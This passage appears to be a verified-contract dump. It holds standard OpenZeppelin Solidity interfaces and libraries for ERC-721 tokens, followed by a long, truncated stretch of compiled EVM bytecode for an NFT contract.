permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102255760003560e01c80636352211e11610123578063b88d4fde116100ab578063d7224ba01161006f578063d7224ba0146107f8578063e985e9c514610823578063f2fde38b14610860578063f4a0a52814610889578063fc2089c0146108b257610225565b8063b88d4fde14610713578063c002d23d1461073c578063c6eceae914610767578063c87b56dd14610790578063d547cfb7146107cd57610225565b80638da5cb5b116100f25780638da5cb5b1461066157806395d89b411461068c5780639b6ba018146106b7578063a0712d68146106ce578063a22cb465146106ea57610225565b80636352211e146105a557806370a08231146105e2578063715018a61461061f5780637e1cde631461063657610225565b806323b872dd116101b157806332cb6b0c1161017557806332cb6b0c146104c257806342842e0e146104ed57806349a3553c146105165780634f6ccce71461053f5780634f9f4b261461057c57610225565b806323b872dd146103cb57806328a280a4146103f45780632e4d41eb1461041f5780632f745c591461045c57806330176e131461049957610225565b8063095ea7b3116101f8578063095ea7b3146102fa5780630ff8d8a51461032357806312065fe01461034c57806318160ddd1461037757806319b5a8c8146103a257610225565b806301ffc9a71461022a578063052f637a1461026757806306fdde0314610292578063081812fc146102bd575b600080fd5b34801561023657600080fd5b50610251600480360381019061024c9190613662565b6108db565b60405161025e9190613be4565b60405180910390f35b34801561027357600080fd5b5061027c610a25565b6040516102899190613f41565b60405180910390f35b34801561029e57600080fd5b506102a7610a2b565b6040516102b49190613bff565b60405180910390f35b3480156102c957600080fd5b506102e460048036038101906102df91906136f5565b610abd565b6040516102f19190613b7d565b60405180910390f35b34801561030657600080fd5b50610321600480360381019061031c91906135e5565b610b42565b005b34801561032f57600080fd5b5061034a6004803603810190610345919061347a565b610c5b565b005b34801561035857600080fd5b50610361610d4d565b60405161036e9190613f41565b60405180910390f35b34801561038357600080fd5b5061038c610d55565b6040516103999190613f41565b60405180910390f35b3480156103ae57600080fd5b506103c960048036038101906103c491906136f5565b610d5e565b005b3480156103d757600080fd5b506103f260048036038101906103ed91906134df565b610de4565b005b34801561040057600080fd5b50610409610df4565b6040516104169190613f41565b60405180910390f35b34801561042b57600080fd5b5061044660048036038101906104419190613451565b610dfa565b6040516104539190613be4565b60405180910390f35b34801561046857600080fd5b50610483600480360381019061047e91906135e5565b610e50565b6040516104909190613f41565b60405180910390f35b3480156104a557600080fd5b506104c060048036038101906104bb91906136b4565b61104e565b005b3480156104ce57600080fd5b506104d76110e4565b6040516104e49190613f41565b60405180910390f35b3480156104f957600080fd5b50610514600480360381019061050f91906134df565b6110ea565b005b34801561052257600080fd5b5061053d60048036038101906105389190613621565b61110a565b005b34801561054b57600080fd5b50610566600480360381019061056191906136f5565b6112ca565b6040516105739190613f41565b60405180910390f35b34801561058857600080fd5b506105a3600480360381019061059e91906136f5565b61131d565b005b3480156105b157600080fd5b506105cc60048036038101906105c791906136f5565b61140a565b6040516105d99190613b7d565b60405180910390f35b3480156105ee57600080fd5b5061060960048036038101906106049190613451565b611420565b6040516106169190613f41565b60405180910390f35b34801561062b57600080fd5b50610634611509565b005b34801561064257600080fd5b5061064b611591565b6040516106589190613f41565b60405180910390f35b34801561066d57600080fd5b50610676611597565b6040516106839190613b7d565b60405180910390f35b34801561069857600080fd5b506106a16115c1565b6040516106ae9190613bff565b60405180910390f35b3480156106c357600080fd5b506106cc611653565b005b6106e860048036038101906106e391906136f5565b611738565b005b3480156106f657600080fd5b50610711600480360381019061070c91906135a9565b61185b565b005b34801561071f57600080fd5b5061073a6004803603810190610735919061352e565b6119dc565b005b34801561074857600080fd5b50610751611a38565b60405161075e9190613f41565b60405180910390f35b34801561077357600080fd5b5061078e600480360381019061078991906136f5565b611a3e565b005b34801561079c57600080fd5b506107b760048036038101906107b291906136f5565b611b08565b6040516107c49190613bff565b60405180910390f35b3480156107d957600080fd5b506107e2611baf565b6040516107ef9190613bff565b60405180910390f35b34801561080457600080fd5b5061080d611c3d565b60405161081a9190613f41565b60405180910390f35b34801561082f57600080fd5b5061084a600480360381019061084591906134a3565b611c43565b6040516108579190613be4565b60405180910390f35b34801561086c57600080fd5b5061088760048036038101906108829190613451565b611cd7565b005b34801561089557600080fd5b506108b060048036038101906108ab91906136f5565b611dcf565b005b3480156108be57600080fd5b506108d960048036038101906108d491906136f5565b611e55565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806109a657507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a0e57507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a1e5750610a1d82611edb565b5b9050919050565b600d5481565b606060018054610a3a906142ef565b80601f0160208091040260200160405190810160405280929190818152602001828054610a66906142ef565b8015610ab35780601f10610a8857610100808354040283529160200191610ab3565b820191906000526020600020905b815481529060010190602001808311610a9657829003601f168201915b5050505050905090565b6000610ac882611f45565b610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90613f01565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610b4d8261140a565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb590613e01565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610bdd611f52565b73ffffffffffffffffffffffffffffffffffffffff161480610c0c5750610c0b81610c06611f52565b611c43565b5b610c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4290613d01565b60405180910390fd5b610c56838383611f5a565b505050565b610c63611f52565b73ffffffffffffffffffffffffffffffffffffffff16610c81611597565b73ffffffffffffffffffffffffffffffffffffffff1614610cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cce90613d81565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc6064600c546064610d0291906141ad565b610d0a610d4d565b610d14919061411f565b610d1e91906140ee565b9081150290604051600060405180830381858888f19350505050158015610d49573d6000803e3d6000fd5b5050565b600047905090565b60008054905090565b610d66611f52565b73ffffffffffffffffffffffffffffffffffffffff16610d84611597565b73ffffffffffffffffffffffffffffffffffffffff1614610dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd190613d81565b60405180910390fd5b80600c8190555050565b610def83838361200c565b505050565b600b5481565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610e5b83611420565b8210610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9390613c21565b60405180910390fd5b6000610ea6610d55565b905060008060005b8381101561100c576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610fa057806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff85786841415610fe9578195505050505050611048565b8380610ff490614352565b9450505b50808061100490614352565b915050610eae565b506040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103f90613ea1565b60405180910390fd5b92915050565b611056611f52565b73ffffffffffffffffffffffffffffffffffffffff16611074611597565b73ffffffffffffffffffffffffffffffffffffffff16146110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c190613d81565b60405180910390fd5b80600e90805190602001906110e0929190613190565b5050565b61271081565b611105838383604051806020016040528060008152506119dc565b505050565b611112611f52565b73ffffffffffffffffffffffffffffffffffffffff16611130611597565b73ffffffffffffffffffffffffffffffffffffffff1614611186576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117d90613d81565b60405180910390fd5b60005b81518110156112c6576111db8282815181106111ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151610dfa565b1561121b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121290613ce1565b60405180910390fd5b6001600a600084848151811061125a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112be90614352565b915050611189565b5050565b60006112d4610d55565b8210611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90613ca1565b60405180910390fd5b819050919050565b611325611f52565b73ffffffffffffffffffffffffffffffffffffffff16611343611597565b73ffffffffffffffffffffffffffffffffffffffff1614611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139090613d81565b60405180910390fd5b6103e8600d54826113a8610d55565b6113b29190614098565b6113bc91906140ee565b11156113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f490613e61565b60405180910390fd5b61140733826125c5565b50565b6000611415826125e3565b600001519050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611491576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148890613d41565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b611511611f52565b73ffffffffffffffffffffffffffffffffffffffff1661152f611597565b73ffffffffffffffffffffffffffffffffffffffff1614611585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157c90613d81565b60405180910390fd5b61158f60006127e6565b565b600c5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546115d0906142ef565b80601f01602080910402602001604051908101604052809291908181526020018280546115fc906142ef565b80156116495780601f1061161e57610100808354040283529160200191611649565b820191906000526020600020905b81548152906001019060200180831161162c57829003601f168201915b5050505050905090565b61165b611f52565b73ffffffffffffffffffffffffffffffffffffffff16611679611597565b73ffffffffffffffffffffffffffffffffffffffff16146116cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c690613d81565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc6064600c546116f6610d4d565b611700919061411f565b61170a91906140ee565b9081150290604051600060405180830381858888f19350505050158015611735573d6000803e3d6000fd5b50565b6103e8600d5482611747610d55565b6117519190614098565b61175b91906140ee565b111561179c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179390613e61565b60405180910390fd5b806009546117aa919061411f565b3410156117ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e390613c41565b60405180910390fd5b42600b54111561184d576117ff33610dfa565b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613d21565b60405180910390fd5b61184833826125c5565b611858565b61185733826125c5565b5b50565b611863611f52565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c890613dc1565b60405180910390fd5b80600660006118de611f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661198b611f52565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516119d09190613be4565b60405180910390a35050565b6119e784848461200c565b6119f3848484846128ac565b611a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2990613e21565b60405180910390fd5b50505050565b60095481565b611a46611f52565b73ffffffffffffffffffffffffffffffffffffffff16611a64611597565b73ffffffffffffffffffffffffffffffffffffffff1614611aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab190613d81565b60405180910390fd5b600a811115611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af590613ee1565b60405180910390fd5b80600d8190555050565b6060611b1382611f45565b611b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4990613da1565b60405180910390fd5b6000611b5c612a43565b90506000815111611b7c5760405180602001604052806000815250611ba7565b80611b8684612ad5565b604051602001611b97929190613b59565b6040516020818303038152906040525b915050919050565b600e8054611bbc906142ef565b80601f0160208091040260200160405190810160405280929190818152602001828054611be8906142ef565b8015611c355780601f10611c0a57610100808354040283529160200191611c35565b820191906000526020600020905b815481529060010190602001808311611c1857829003601f168201915b505050505081565b60075481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611cdf611f52565b73ffffffffffffffffffffffffffffffffffffffff16611cfd611597565b73ffffffffffffffffffffffffffffffffffffffff1614611d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4a90613d81565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dba90613c61565b60405180910390fd5b611dcc816127e6565b50565b611dd7611f52565b73ffffffffffffffffffffffffffffffffffffffff16611df5611597565b73ffffffffffffffffffffffffffffffffffffffff1614611e4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4290613d81565b60405180910390fd5b8060098190555050565b611e5d611f52565b73ffffffffffffffffffffffffffffffffffffffff16611e7b611597565b73ffffffffffffffffffffffffffffffffffffffff1614611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890613d81565b60405180910390fd5b80600b8190555050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b6000612017826125e3565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff1661203e611f52565b73ffffffffffffffffffffffffffffffffffffffff16148061209a5750612063611f52565b73ffffffffffffffffffffffffffffffffffffffff1661208284610abd565b73ffffffffffffffffffffffffffffffffffffffff16145b806120b657506120b582600001516120b0611f52565b611c43565b5b9050806120f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ef90613de1565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff161461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190613d61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156121da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d190613cc1565b60405180910390fd5b6121e78585856001612c82565b6121f76000848460000151611f5a565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff166122659190614179565b92506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff166123099190614052565b92506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060405180604001604052808573ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506003600085815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550905050600060018461240f9190614098565b9050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156125555761248581611f45565b15612554576040518060400160405280846000015173ffffffffffffffffffffffffffffffffffffffff168152602001846020015167ffffffffffffffff168152506003600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505b5b838573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46125bd8686866001612c88565b505050505050565b6125df828260405180602001604052806000815250612c8e565b5050565b6125eb613216565b6125f482611f45565b612633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262a90613c81565b60405180910390fd5b60007f00000000000000000000000000000000000000000000000000000000000003e883106126975760017f00000000000000000000000000000000000000000000000000000000000003e88461268a91906141ad565b6126949190614098565b90505b60008390505b8181106127a5576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612791578093505050506127e1565b50808061279d906142c5565b91505061269d565b506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613ec1565b60405180910390fd5b919050565b600060086000905490